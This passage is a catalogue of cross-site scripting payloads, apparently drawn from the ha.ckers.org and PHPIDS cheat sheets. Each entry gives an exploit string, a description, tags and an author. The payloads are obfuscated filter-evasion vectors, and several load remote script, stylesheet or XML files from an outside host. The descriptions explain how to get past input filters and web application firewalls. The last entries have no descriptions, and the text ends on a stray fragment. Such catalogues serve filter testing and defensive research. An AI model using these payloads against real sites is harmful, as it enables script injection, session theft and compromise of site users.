a little known XSS attack vector using null characters. You can actually break up the HTML itself using the same nulls as shown above. I've seen this vector bypass some of the most restrictive XSS filters to date Exploit Tags: general, evil tags, obfuscated, CRLF Author Name: ha.ckers.org Obfuscated body onload vector Exploit Name: Obfuscated body onload vector Exploit String: <body onload=;;;;;;;;;;;_=alert;_(1);;;; Exploit Description: This vector creates a new body tag and utilizes semicolons and underscores to evade filters and produce an alert. Exploit Tags: general, evil tags, obfuscated Author Name: thespanner.co.uk Obfuscated DOM element creation Exploit Name: Obfuscated DOM element creation Exploit String: s1=0?'':'i';s2=0?'':'fr';s3=0?'':'ame';i1=s1+s2+s3;s1=0?'':'jav';s2= 0?'':'ascr';s3=0?'':'ipt';s4=0?'':':';s5=0?'':'ale';s6=0?'':'rt';s7= 0?'':'(1)';i2=s1+s2+s3+s4+s5+s6+s7;i=createElement(i1);i.src=i2;x=pa rentNode;x.appendChild(i); Exploit Description: This vector utilizes ternary operators to obfuscate JavaScript code which creates new DOM elements. Exploit Tags: general, obfuscated, injection Author Name: thespanner.co.uk Obfuscated double-body onload vector Exploit Name: Obfuscated double-body onload vector Exploit String: <body <body onload=;;;;;al:eval('al'+'ert(1)');;> Exploit Description: This vector creates a doubled new body tag and utilizes semicolons to evade filters and produce an alert. Exploit Tags: general, evil tags, obfuscated Author Name: thespanner.co.uk Obfuscated image tag using dec entities Exploit Name: Obfuscated image tag using dec entities Exploit String: <IMGSRC=java&<WBR>#115;crip&<WBR>#116;:a le&<WBR>#114;t('XS<WBR>;S')> Exploit Description: This attack is built together with obfuscated decimal entities and create a JS image source. Exploit Tags: general, basic, obfuscated, evil tags, internet explorer Author Name: OWASP Obfuscated image tag using hex entities Exploit Name: Obfuscated image tag using hex entities Exploit String: <IMGSRC=javas&<WBR>#x63ript:&<WBR>#x61lert( &<WBR>#x27XSS')> Exploit Description: This attack is built together with obfuscated hexadecimal entities and create a JS image source. Exploit Tags: general, basic, obfuscated, evil tags, internet explorer Author Name: OWASP Obfuscated image tag using long dec entities Exploit Name: Obfuscated image tag using long dec entities Exploit String: <IMGSRC=ja&<WBR>#0000118as&<WBR>#0000099ri&<WBR>#0000112t: &<WBR>#0000097le&<WBR>#0000114t(&<WBR>#0000039XS&<WBR>#0000083')> Exploit Description: This attack is built together with obfuscated long decimal entities and create a JS image source. Exploit Tags: general, owasp, obfuscated, evil tags, internet explorer Author Name: OWASP Obfuscated JS image source Exploit Name: Obfuscated JS image source Exploit String: >"'><img%20src%3D%26%23x6a;%26%23x61;%26%23x76;%26%23x61;%26%23x73;%26%23x63;%26%23x72;%26%23x69;%26%23x70;%26%23x74;%26%23x3a; alert(%26quot;%26%23x20;XSS%26%23x20;Test%26%23x20;Successful%26quot;)> Exploit Description: This vector uses urlencoded hex entities to obfuscate the javascript: image source. Exploit Tags: general, owasp, obfuscated, evil tags, internet explorer Author Name: OWASP Obfuscated name trigger for Firefox Exploit Name: Obfuscated name trigger for Firefox Exploit String: (1?(1?{a:1?""[1?"ev\a\l":0](1?"\a\lert":0):0}:0).a:0)[1?"\c\a\l\l":0](content,1?"x\s\s":0) Exploit Description: This XSS vector uses a parser bug in Firefox to obfuscate the methods needed to trigger the name contained payload. Exploit Tags: general, gecko, obfuscated, self contained Author Name: SIrDarckCat Obfuscated onload attribute variant 1 Exploit Name: Obfuscated onload attribute variant 1 Exploit String: <body/s/onload=x={doc:parent.document};x.doc.writeln(1) Exploit Description: This vector creates a new body tag including an obfuscated onload attribute. Also the document object is wrapped into a JSON literal to evade filters. Exploit Tags: general, obfuscated, evil tags, JSON Author Name: thespanner.co.uk Obfuscated onload attribute variant 2 Exploit Name: Obfuscated onload attribute variant 2 Exploit String: <body/」」$/onload=x={doc:parent[’document’]};x.doc.writeln(1) Exploit Description: This vector creates a new body tag including an obfuscated onload attribute. Also the document object is wrapped into a JSON literal to evade filters. Exploit Tags: general, obfuscated, evil tags, JSON Author Name: thespanner.co.uk Obfuscated XML predicate vector variation 1 Exploit Name: Obfuscated XML predicate vector variation 1 Exploit String: 123[''+<_>ev</_>+<_>al</_>](''+<_>aler</_>+<_>t</_>+<_>(1)</_>); Exploit Description: This vector uses XML predicates to obfuscate its payload and the fact that you can use underscores as XML tags. Exploit Tags: general, xml predicates, obfuscated, gecko Author Name: PHPIDS Group Obfuscated XML predicate vector variation 2 Exploit Name: Obfuscated XML predicate vector variation 2 Exploit String: s1=<s>evalalerta(1)a</s>,s2=<s></s>+'',s3=s1+s2,e1=/s/!=/s/?s3[0]: 0,e2=/s/!=/s/?s3[1]:0,e3=/s/!=/s/?s3[2]:0,e4=/s/!=/s/?s3[3]:0,e=/s/!=/ s/?0[e1+e2+e3+e4]:0,a1=/s/!=/s/?s3[4]:0,a2=/s/!=/s/?s3[5]:0,a3=/s/!=/ s/?s3[6]:0,a4=/s/!=/s/?s3[7]:0,a5=/s/!=/s/?s3[8]:0,a6=/s/!=/s/?s3[10]: 0,a7=/s/!=/s/?s3[11]:0,a8=/s/!=/s/?s3[12]: 0,a=a1+a2+a3+a4+a5+a6+a7+a8,1,e(a) Exploit Description: This vector uses XML predicates to obfuscate its payload and the fact that you can use underscores as XML tags. Also a concatenation via ternary operator is being used. Exploit Tags: general, xml predicates, obfuscated, gecko Author Name: PHPIDS Group Obfuscated XML predicate vector variation 3 Exploit Name: Obfuscated XML predicate vector variation 3 Exploit String: o={x:''+<s>eva</s>+<s>l</s>,y:''+<s>aler</s>+<s>t</s>+<s>(1)</ s>};function f() { 0[this.x](this.y) }f.call(o); Exploit Description: This vector uses XML predicates to obfuscate its payload. The payload is furthermore wrapped into JSON literals for more obfuscation. Exploit Tags: general, xml predicates, obfuscated, gecko, JSON Author Name: .mario Obfuscated XSS variant 1 Exploit Name: Obfuscated XSS variant 1 Exploit String: ___=1?'ert(123)':0,_=1?'al':0,__=1?'ev':0,1[__+_](_+___) Exploit Description: Shuffled and obfuscated function calls Exploit Tags: general, obfuscated Author Name: PHPIDS Group OBJECT Exploit Name: OBJECT Exploit String: <OBJECT TYPE="text/x-scriptlet" DATA="http://ha.ckers.org/scriptlet.html"></OBJECT> Exploit Description: If they allow objects, you can also inject virus payloads to infect the users, etc. and same with the APPLET tag. The linked file is actually an HTML file that can contain your XSS Exploit Tags: general, evil tags Author Name: ha.ckers.org OBJECT w/Embedded XSS Exploit Name: OBJECT w/Embedded XSS Exploit String: <OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=javascript:alert('XSS')></OBJECT> Exploit Description: Using an OBJECT tag you can embed XSS directly (this is unverified). Exploit Tags: general, evil tags, obfuscated, internet explorer Author Name: ha.ckers.org OBJECT w/Flash 2 Exploit Name: OBJECT w/Flash 2 Exploit String: a="get"; b="URL(""; c="javascript:"; d="alert('XSS');")";eval(a+b+c+d); Exploit Description: Using this action script inside flash can obfuscate your XSS vector. Exploit Tags: general, evil tags, obfuscated Author Name: ha.ckers.org Octal Encoding Exploit Name: Octal Encoding Exploit String: <A HREF="http://0102.0146.0007.00000223/">XSS</A> Exploit Description: URL string evasion (assuming 」http://www.google.com/」 is programmatically disallowed). Padding is allowed, although you must keep it above 4 total characters per class - as in class A, class B, etc... Exploit Tags: general, evil tags, obfuscated Author Name: ha.ckers.org Open string contained in name property Exploit Name: Open string contained in name property Exploit String: open(name) Exploit Description: This very simple but effective vector uses the open method on the name property. Exploit Tags: general, super short, self contained Author Name: SIrDarckCat PHP Exploit Name: PHP Exploit String: <? echo('<SCR)';echo('IPT>alert("XSS")</SCRIPT>'); ?> Exploit Description: PHP - requires PHP to be installed on the server to use this XSS vector. Again, if you can run any scripts remotely like this, there are probably much more dire issues. Exploit Tags: general, evil tags, obfuscated Author Name: ha.ckers.org Plain JavaScript alert Exploit Name: Plain JavaScript alert Exploit String: alert(1) Exploit Description: This very basic exploit works on surprisingly many pages - no real danger but bad image. Exploit Tags: general, basic, super short Author Name: .mario Protocol Resolution Bypass Exploit Name: Protocol Resolution Bypass Exploit String: <A HREF="//www.google.com/">XSS</A> Exploit Description: URL string evasion (assuming 」http://www.google.com/」 is programmatically disallowed). Protocol resolution bypass (// translates to http:// which saves a few more bytes). This is really handy when space is an issue too (two less characters can go a long way) and can easily bypass regex like 」(ht|f)tp(s)?://」 (thanks to Ozh (http://planetOzh.com/) for part of this one). You can also change the 」//」 to 」\\」. You do need to keep the slashes in place, however, otherwise this will be interpreted as a relative path URL. Exploit Tags: general, evil tags, obfuscated Author Name: ha.ckers.org Protocol resolution in script tags Exploit Name: Protocol resolution in script tags Exploit String: <SCRIPT SRC=//ha.ckers.org/.j> Exploit Description: This particular variant was submitted by Lukasz Pilorz and was based partially off of Ozh's protocol resolution bypass below. This cross site scripting example works in IE, Netscape in IE rendering mode and Opera if you add in a </SCRIPT> tag at the end. However, this is especially useful where space is an issue, and of course, the shorter your domain, the better. The 」.j」 is valid, regardless of the MIME type because the browser knows it in context of a SCRIPT tag. Exploit Tags: general, evil tags, obfuscated, injection Author Name: ha.ckers.org RegExp based, and native C filter vector. Exploit Name: RegExp based, and native C filter vector. Exploit String: 0%0d%0a%00<script src=//h4k.in> Exploit Description: This will break any RegExp that includes "$" (end of string), and some filters that do the verification manually with a for waiting for a NULL byte. Exploit Tags: general, injection, CRLF, obfuscated Author Name: SIrDarckCat Author URL: http://sirdarckcat.net/ Remote IE URL overloading Exploit Name: Remote IE URL overloading Exploit String: s1=''+'java'+''+'scr'+'';s2=''+'ipt'+':'+'ale'+'';s3=''+'rt'+''+'(1) '+''; u1=s1+s2+s3;URL=u1 Exploit Description: This vector assembles an alert which will be fired using the URL property. Exploit Tags: general, obfuscated, internet explorer, URL breaking Author Name: thespanner.co.uk Remote Stylesheet 1 Exploit Name: Remote Stylesheet 1 Exploit String: <LINK REL="stylesheet" HREF="http://ha.ckers.org/xss.css"> Exploit Description: Remote style sheet (using something as simple as a remote style sheet you can include your XSS as the style question redefined using an embedded expression.) This only works in IE and Netscape 8.1+ in IE rendering engine mode. Notice that there is nothing on the page to show that there is included JavaScript. Note: With all of these remote style sheet examples they use the body tag, so it won't work unless there is some content on the page other than the vector itself, so you'll need to add a single letter to the page to make it work if it's an otherwise blank page. Exploit Tags: general, evil tags, obfuscated, injection Author Name: ha.ckers.org Remote Stylesheet 2 Exploit Name: Remote Stylesheet 2 Exploit String: <STYLE>@import'http://ha.ckers.org/xss.css';</STYLE> Exploit Description: Remote style sheet part 2 (this works the same as above, but uses a <STYLE> tag instead of a <LINK> tag). A slight variation on this vector was used to hack Google Desktop http://www.hacker.co.il/security/ie/css_import.html. As a side note you can remote the end STYLE tag if there is HTML immediately after the vector to close it. This is useful if you cannot have either an equal sign or a slash in your cross site scripting attack, which has come up at least once in the real world. Exploit Tags: general, evil tags, obfuscated, style injection Author Name: ha.ckers.org Remote Stylesheet 3 Exploit Name: Remote Stylesheet 3 Exploit String: <META HTTP-EQUIV="Link" Content="<http://ha.ckers.org/xss.css>; REL=stylesheet"> Exploit Description: Remote style sheet part 3. This only works in Opera but is fairly tricky. Setting a link header is not part of the HTTP1.1 spec. However, some browsers still allow it (like Firefox and Opera). The trick here is that I am setting a header (which is basically no different than in the HTTP header saying Link: <http://ha.ckers.org/xss.css>; REL=stylesheet) and the remote style sheet with my cross site scripting vector is running the JavaScript, which is not supported in FireFox. Exploit Tags: general, evil tags, injection Author Name: ha.ckers.org Remote Stylesheet 4 Exploit Name: Remote Stylesheet 4 Exploit String: <STYLE>BODY{-moz-binding:url("http://ha.ckers.org/xssmoz.xml#xss")}</STYLE> Exploit Description: Remote style sheet part 4. This only works in Gecko rendering engines and works by binding an XUL file to the parent page. I think the irony here is that Netscape assumes that Gecko is safer and therefore is vulnerable to this for the vast majority of sites. Exploit Tags: general, evil tags, obfuscated, style injection, XBL Author Name: ha.ckers.org Removing Cnames Exploit Name: Removing Cnames Exploit String: <A HREF="http://google.com/">XSS</A> Exploit Description: URL string evasion (assuming 」http://www.google.com/」 is programmatically disallowed). When combined with the above URL, removing 」www.」 will save an additional 4 bytes for a total byte savings of 9 for servers that have this set up properly. Exploit Tags: general, evil tags Author Name: ha.ckers.org Rename .js to .jpg Exploit Name: Rename .js to .jpg Exploit String: <SCRIPT SRC="http://ha.ckers.org/xss.jpg"></SCRIPT> Exploit Description: Assuming you can only fit in a few characters and it filters against 」.js」 you can rename your JavaScript file to an image as an XSS vector. Exploit Tags: general, evil tags, obfuscated, injection Author Name: ha.ckers.org res:// installed software probing Exploit Name: res:// installed software probing Exploit String: res://c:\\program%20files\\adobe\\acrobat%207.0\\acrobat\\acrobat.dll/#2/#210 Exploit Description: This res-uri can be used to probe for certain software in IE. Exploit Tags: URI exploits, injection, general, obfuscated, internet explorer Author Name: xs-sniper SCRIPT w/Alert() Exploit Name: SCRIPT w/Alert() Exploit String: <SCRIPT>alert('XSS')</SCRIPT> Exploit Description: Basic injection attack Exploit Tags: general, evil tags, basic Author Name: ha.ckers.org SCRIPT w/Char Code Exploit Name: SCRIPT w/Char Code Exploit String: <SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT> Exploit Description: Inject this string, and in most cases where a script is vulnerable with no special XSS vector requirements the word 」XSS」 will pop up. Exploit Tags: general, evil tags, obfuscated, basic Author Name: ha.ckers.org SCRIPT w/Source File Exploit Name: SCRIPT w/Source File Exploit String: <SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT> Exploit Description: No filter evasion. This is a normal XSS JavaScript injection, and most likely to get caught but I suggest trying it first (the quotes are not required in any modern browser so they are omitted here). Exploit Tags: general, evil tags, basic, injection Author Name: ha.ckers.org Self-contained XSS variant 1 Exploit Name: Self-contained XSS variant 1 Exploit String: a=0||'ev'+'al',b=0||location.hash,c=0||'sub'+'str',1[a](b[c](1)) Exploit Description: Concatenates obfuscated eval() and substr() to be called on location.hash Exploit Tags: general, self contained Author Name: PHPIDS Group Self-contained XSS variant 2 Exploit Name: Self-contained XSS variant 2 Exploit String: a=0||'ev'+'al'||0;b=0||'locatio';b+=0||'n.h'+'ash.sub'||0;b+=0||'str(1)';c=b[a];c(c(b)) Exploit Description: Concatenates fragmented functions to evakuate the location hash Exploit Tags: general, self contained Author Name: PHPIDS Group Self-contained XSS variant 3 Exploit Name: Self-contained XSS variant 3 Exploit String: eval.call(this,unescape.call(this,location)) Exploit Description: Uses call() and eval() to access the payload in the fragment identifier Exploit Tags: general, self contained Author Name: PHPIDS Group Self-contained XSS variant 4 Exploit Name: Self-contained XSS variant 4 Exploit String: d=0||'une'+'scape'||0;a=0||'ev'+'al'||0;b=0||'locatio';b+=0||'n'||0;c=b[a];d=c(d);c(d(c(b))) Exploit Description: This one is pretty hard to detect due to the total fragmentation. Fragments are built together to a self-executing function. Exploit Tags: general, self contained Author Name: PHPIDS Group Self-contained XSS variant 5 Exploit Name: Self-contained XSS variant 5 Exploit String: l= 0 || 'str',m= 0 || 'sub',x= 0 || 'al',y= 0 || 'ev',g= 0 || 'tion.h',f= 0 || 'ash',k= 0 || 'loca',d= (k) + (g) + (f),a Exploit Description: This variant has the function fragments shuffled to evade concatenation filters and is thus very hard to detect. Exploit Tags: general, self contained, shuffled Author Name: PHPIDS Group Self-contained XSS variant 6 Exploit Name: Self-contained XSS variant 6 Exploit String: _=eval,__=unescape,___=document.URL,_(__(___)) Exploit Description: Since Javascript allows \w+ as variable name - this vector uses _ to evade filters. Exploit Tags: general, self contained Author Name: PHPIDS Group Self-contained XSS variant 7 Exploit Name: Self-contained XSS variant 7 Exploit String: $_=document,$__=$_.URL,$___=unescape,$_=$_.body,$_.innerHTML = $___(http=$__) Exploit Description: Uses special characters as variable names and self-executes the concatenated payload trigger. Exploit Tags: general, self contained Author Name: PHPIDS Group Self-contained XSS variant 8 Exploit Name: Self-contained XSS variant 8 Exploit String: $=document,$=$.URL,$$=unescape,$$$=eval,$$$($$($)) Exploit Description: This time $ is used to obfuscate the self-executing payload trigger. Exploit Tags: general, self contained Author Name: PHPIDS Group Self-contained XSS variant 9 Exploit Name: Self-contained XSS variant 9 Exploit String: evil=/ev/.source+/al/.source,changeProto=/Strin/.source+/g.prototyp/.source+/e.ss=/.source+/Strin/.source+/g.prototyp/.source+/e.substrin/.source+/g/.source,hshCod=/documen/.source+/t.locatio/.source+/n.has/.source+/h/.source;7[evil](changeProto);hsh=7[evil](hshCod),cod=hsh.ss(1);7[evil](cod) Exploit Description: This more than sophisticated vector is hard to explain - it' creator did here: http://sla.ckers.org/forum/read.php?2,13209,page=2#msg-13409 Exploit Tags: general, self contained, shuffled Author Name: PHPIDS Group Self-containing XSS with no dots Exploit Name: Self-containing XSS with no dots Exploit String: with(location)with(hash)eval(substring(1)) Exploit Description: This vector uses with() to activate the payload behind the fragment identifier. No dots are used to enable easier filter evasion. Exploit Tags: general, super short, self contained Author Name: ma1 Spaces/Meta Chars Exploit Name: Spaces/Meta Chars Exploit String: <IMG SRC="  javascript:alert('XSS');"> Exploit Description: Spaces and meta chars before the JavaScript in images for XSS (this is useful if the pattern match doesn't take into account spaces in the word 」javascript:」 - which is correct since that won't render- and makes the false assumption that you can't have a space between the quote and the 」javascript:」 keyword. The actual reality is you can have any char from 1-32 in decimal). Exploit Tags: general, evil tags, obfuscated, internet explorer Author Name: ha.ckers.org SSI Exploit Name: SSI Exploit String: <!--#exec cmd="/bin/echo '<SCRIPT SRC'"--><!--#exec cmd="/bin/echo '=http://ha.ckers.org/xss.js></SCRIPT>'"--> Exploit Description: SSI (Server Side Includes) requires SSI to be installed on the server to use this XSS vector. I probably don't need to mention this, but if you can run commands on the server there are no doubt much more serious issues. Exploit Tags: general, evil tags, obfuscated, SSI, injection Author Name: ha.ckers.org STYLE Exploit Name: STYLE Exploit String: <STYLE TYPE="text/javascript">alert('XSS');</STYLE> Exploit Description: STYLE tag (Older versions of Netscape only) Exploit Tags: general, evil tags, style injection, gecko Author Name: ha.ckers.org Style injection via content and double-eval Exploit Name: Style injection via content and double-eval Exploit String: <style> body:after{ content: 「\61\6c\65\72\74\28\31\29″ } </style> <script> eval(eval(document.styleSheets[0].cssRules[0].style.content)) </script> Exploit Description: This vector utilizes the CSS content property and fetches it off the document.styleSheets property afterwards. For correct execution of the payload a double-eval is needed. Exploit Tags: general, onfuscated, style injection Author Name: .mario STYLE w/Anonymous HTML Exploit Name: STYLE w/Anonymous HTML Exploit String: <XSS STYLE="xss:expression(alert('XSS'))"> Exploit Description: Anonymous HTML with STYLE attribute (IE and Netscape 8.1+ in IE rendering engine mode don't really care if the HTML tag you build exists or not, as long as it starts with an open angle bracket and a letter) Exploit Tags: general, evil tags, obfuscated, internet explorer Author Name: ha.ckers.org STYLE w/background Exploit Name: STYLE w/background Exploit String: <STYLE type="text/css">BODY{background:url("javascript:alert('XSS')")}</STYLE> Exploit Description: STYLE tag using background. Exploit Tags: general, evil tags, injection, internet explorer Author Name: ha.ckers.org STYLE w/background-image Exploit Name: STYLE w/background-image Exploit String: <STYLE>.XSS{background-image:url("javascript:alert('XSS')");}</STYLE><A CLASS=XSS></A> Exploit Description: STYLE tag using background-image. Exploit Tags: general, evil tags, internet explorer, style injection Author Name: ha.ckers.org STYLE w/broken up JavaScript Exploit Name: STYLE w/broken up JavaScript Exploit String: <STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE> Exploit Description: STYLE tags with broken up JavaScript for XSS (this XSS at times sends IE into an infinite loop of alerts). Exploit Tags: general, evil tags, style injection, internet explorer Author Name: ha.ckers.org STYLE w/Comment Exploit Name: STYLE w/Comment Exploit String: <IMG STYLE="xss:expr/*XSS*/ession(alert('XSS'))"> Exploit Description: STYLE attribute using a comment to break up expression (Thanks to Roman Ivanov http://www.pixel-apes.com/ for this one) Exploit Tags: general, evil tags, style injection, internet explorer Author Name: ha.ckers.org Stylesheet Exploit Name: Stylesheet Exploit String: <LINK REL="stylesheet" HREF="javascript:alert('XSS');"> Exploit Description: Stylesheet Exploit Tags: general, evil tags Author Name: ha.ckers.org Style-breaker using obfuscated JavaScript Exploit Name: Style-breaker using obfuscated JavaScript Exploit String: }</style><script>a=eval;b=alert;a(b(/i/.source));</script> Exploit Description: This vector ends styleblocks and uses obfuscated JavaScript to create an alert. Exploit Tags: general, html breaking, CSS breaking Author Name: kishor Super basic HTML breaker 2 Exploit Name: Super basic HTML breaker 2 Exploit String: >"' Exploit Description: This super basic vector breaks HTML attributes Exploit Tags: general, basic, super short, html breaking Author Name: .mario Super short XSS variant 1 Exploit Name: Super short XSS variant 1 Exploit String: a=alert a(0) Exploit Description: This extremely short XSS vector works only when newlines can be injected. Exploit Tags: general, super short Author Name: .mario Super short XSS variant 2 Exploit Name: Super short XSS variant 2 Exploit String: A=alert;A(1) Exploit Description: This extremely short XSS vector works with out the need for newlines to be injected, Exploit Tags: super short, general, basic Author Name: -unknown- TABLE Exploit Name: TABLE Exploit String: <TABLE BACKGROUND="javascript:alert('XSS')"></TABLE> Exploit Description: Table background (who would have thought tables were XSS targets... except me, of course). Exploit Tags: general, evil tags Author Name: ha.ckers.org TD Exploit Name: TD Exploit String: <TABLE><TD BACKGROUND="javascript:alert('XSS')"></TD></TABLE> Exploit Description: TD background. Exploit Tags: general, evil tags Author Name: ha.ckers.org Textarea-breaker with mouseover Exploit Name: Textarea-breaker with mouseover Exploit String: </textarea><br><code onmouseover=a=eval;b=alert;a(b(/g/.source));>MOVE MOUSE OVER THIS AREA</code> Exploit Description: This vector breaks textareas and creates an element reacting on mouveover events. Exploit Tags: general, html breaking, obfuscated, user interaction Author Name: kishor Unicode encoded script tags Exploit Name: Unicode encoded script tags Exploit String: '%uff1cscript%uff1ealert('XSS')%uff1c/script%uff1e' Exploit Description: This vector uses unicode encoded codepoints to create a script tag producing an alert. Exploit Tags: general, basic, obfuscated, evil tags Author Name: OWASP URL breaker for double quotes Exploit Name: URL breaker for double quotes Exploit String: http://aa"><script>alert(123)</script> Exploit Description: This vector breaks double quoted URL input Exploit Tags: URL breaking, general, basic, html breaking Author Name: .mario URL breaker for single quotes Exploit Name: URL breaker for single quotes Exploit String: http://aa'><script>alert(123)</script> Exploit Description: This vector breaks single quoted URL input Exploit Tags: URL breaking, basic, general, html breaking Author Name: .mario URL encoded image source Exploit Name: URL encoded image source Exploit String: >%22%27><img%20src%3d%22javascript:alert(%27%20XSS%27)%22> Exploit Description: This vector utilizes an urlencoded JS image source to create an alert. Exploit Tags: general, basic, obfuscated, internet explorer Author Name: OWASP URL Encoding Exploit Name: URL Encoding Exploit String: <A HREF="http://%77%77%77%2E%67%6F%6F%67%6C%65%2E%63%6F%6D">XSS</A> Exploit Description: URL string evasion (assuming 」http://www.google.com/」 is programmatically disallowed). Exploit Tags: general, evil tags, obfuscated Author Name: ha.ckers.org URL-breaking vector Exploit Name: URL-breaking vector Exploit String: http://aa<script>alert(123)</script> Exploit Description: This vector is a basic URL breaker - embedding an alert in a URL-like wrapper. Exploit Tags: general, URL breaking, basic Author Name: kishor US-ASCII encoding Exploit Name: US-ASCII encoding Exploit String: %BCscript%BEalert(%A2XSS%A2)%BC/script%BE Exploit Description: Found by Kurt Huwig http://www.iku-ag.de/ This uses malformed ASCII encoding with 7 bits instead of 8. This XSS may bypass many content filters but only works if the hosts transmits in US-ASCII encoding, or if you set the encoding yourself. This is more useful against web application firewall cross site scripting evasion than it is server side filter evasion. Apache Tomcat is the only known server that transmits in US-ASCII encoding. Exploit Tags: general, evil tags, obfuscated Author Name: ha.ckers.org UTF-7 Encoding Exploit Name: UTF-7 Encoding Exploit String: <HEAD><META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html; charset=UTF-7"> </HEAD>+ADw-SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4- Exploit Description: UTF-7 encoding - if the page that the XSS resides on doesn't provide a page charset header, or any browser that is set to UTF-7 encoding can be exploited with the following (Thanks to Roman Ivanov http://www.pixel-apes.com/ for this one). You don't need the charset statement if the user's browser is set to auto-detect and there is no overriding content-types on the page in Internet Explorer and Netscape 8.1 IE rendering engine mode). Watchfire http://seclists.org/lists/fulldisclosure/2005/Dec/1107.html found this hole in Google's custom 404 script. Exploit Tags: general, evil tags, obfuscated Author Name: ha.ckers.org UTF-8 Unicode Encoding Exploit Name: UTF-8 Unicode Encoding Exploit String: <IMG SRC=javascript:alert('XSS')> Exploit Description: UTF-8 Unicode encoding (all of the XSS examples that use a javascript: directive inside of an IMG tag will not work in Firefox or Netscape 8.1+ in the Gecko rendering engine mode). Exploit Tags: general, evil tags, obfuscated, internet explorer Author Name: ha.ckers.org with() executing alert via document.__parent__ Exploit Name: with() executing alert via document.__parent__ Exploit String: with(document.__parent__)alert(1) Exploit Description: This vector uses the __parent__ property combined with with() to execute an alert. Exploit Tags: general, super short, obfuscated, gecko, __property__ Author Name: .mario XML data island w/CDATA Exploit Name: XML data island w/CDATA Exploit String: <XML ID=I><X><C><![CDATA[<IMG SRC="javas]]><![CDATA[cript:alert('XSS');">]]></C></X></xml><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML> Exploit Description: XML data island with CDATA obfuscation (this XSS attack works only in IE and Netscape 8.1 IE rendering engine mode) - vector found by Sec Consult http://www.sec-consult.html while auditing Yahoo. Exploit Tags: general, evil tags, obfuscated, XML injection Author Name: ha.ckers.org XML data island w/comment Exploit Name: XML data island w/comment Exploit String: <XML ID="xss"><I><B><IMG SRC="javas<!-- -->cript:alert('XSS')"></B></I></XML><SPAN DATASRC="#xss" DATAFLD="B" DATAFORMATAS="HTML"></SPAN> Exploit Description: XML data island with comment obfuscation (doesn't use CDATA fields, but rather uses comments to break up the javascript directive) Exploit Tags: general, evil tags, obfuscated, XML injection Author Name: ha.ckers.org XML HTML+TIME Exploit Name: XML HTML+TIME Exploit String: <HTML><BODY><?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time"><?import namespace="t" implementation="#default#time2"><t:set attributeName="innerHTML" to="XSS<SCRIPT DEFER>alert('XSS')</SCRIPT>"> </BODY></HTML> Exploit Description: HTML+TIME in XML. This is how Grey Magic http://www.greymagic.com/security/advisories/gm005-mc/ hacked Hotmail and Yahoo!. This only works in Internet Explorer and Netscape 8.1 in IE rendering engine mode and remember that you need to be between HTML and BODY tags for this to work. Exploit Tags: general, evil tags, obfuscated, XML injection Author Name: ha.ckers.org XML namespace Exploit Name: XML namespace Exploit String: <HTML xmlns:xss><?import namespace="xss" implementation="http://ha.ckers.org/xss.htc"><xss:xss>XSS</xss:xss></HTML> Exploit Description: XML namespace. The .htc file must be located on the server as your XSS vector. Exploit Tags: general, evil tags, obfuscated, XML injection Author Name: ha.ckers.org XML predicate XSS using content[n] Exploit Name: XML predicate XSS using content[n] Exploit String: y=<a>alert</a>;content[y](123) Exploit Description: This vector uses XML predicate properties to activate its payload. Exploit Tags: general, XML predicates, gecko Author Name: PHPIDS Group XML (locally hosted) Exploit Name: XML (locally hosted) Exploit String: <XML SRC="http://ha.ckers.org/xsstest.xml" ID=I></XML><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN> Exploit Description: Locally hosted XML with embedded JavaScript that is generated using an XML data island. This is the same as above but instead refers to a locally hosted (must be on the same server) XML file that contains the cross site scripting vector. Exploit Tags: general, evil tags, obfuscated, XML injection Author Name: ha.ckers.org XSS Quick Test Exploit Name: XSS Quick Test Exploit String: '';!--"<XSS>=&{()} Exploit Description: If you don't have much space, this string is a nice compact XSS injection check. View source after injecting it and look for <XSS versus <XSS to see if it is vulnerable. Exploit Tags: general, html breaking, JS breaking, comment breaking Author Name: ha.ckers.org XSS via VBScript MsgBox Exploit Name: XSS via VBScript MsgBox Exploit String: Execute(MsgBox(chr(88)&chr(83)&chr(83)))< Exploit Description: This vector creates an alert like message boy via Visual Basic Script Exploit Tags: general, basic, internet explorer Author Name: -unknown- __parent__ stored JS alert Exploit Name: __parent__ stored JS alert Exploit String: document.__parent__._=alert _(1) Exploit Description: This vector uses the __parent__ property to store the alert function and execute it afterwards with new label. Exploit Tags: general, super short, obfuscated, gecko, __property__ Author Name: .mario __proto__ stored JS alert Exploit Name: __proto__ stored JS alert Exploit String: top.__proto__._= alert _(1) Exploit Description: This vector uses the __proto__ property to store the alert function and execute it afterwards with new label. Exploit Tags: general, super short, obfuscated, gecko, __property__ Author Name: .mario iframe Chrome bypass Exploit String: <iframe%20src="javascript:alert(1) Author Name: thespanner.co.uk anchor Chrome bypass Exploit String: <a%20href="javascript:alert(1); Author Name: thespanner.co.uk wtf? Chrome Exploit String: <svg xmlns:xlink="http://www.w3.org/1999/xlink"><a><circle r=100 /><animate attributeName="xlink:href" values=";javascript:alert(1)" begin="0s" dur="0.1s" fill="freeze"/> <script>onerror=alert;throw 1337</script> <script>{onerror=alert}throw 1337</script> <script>throw onerror=alert,'some string',123,'haha'</script> <script>{onerror=eval}throw'=alert\x281337\x29'</script> <script>{onerror=eval}throw{lineNumber:1,columnNumber:1,fileName:1,message:'alert\x281\x29'}</script> <script>{onerror=prompt}throw{lineNumber:1,columnNumber:1,fileName:'second argument',message:'first argument'}</script> <script>throw/a/,Uncaught=1,g=alert,a=URL+0,onerror=eval,/1/g+a[12]+[1337]+a[13]</script> <script>TypeError.prototype.name ='=/',0[onerror=eval]['/-alert(1)//']</script>
Javascript開頭
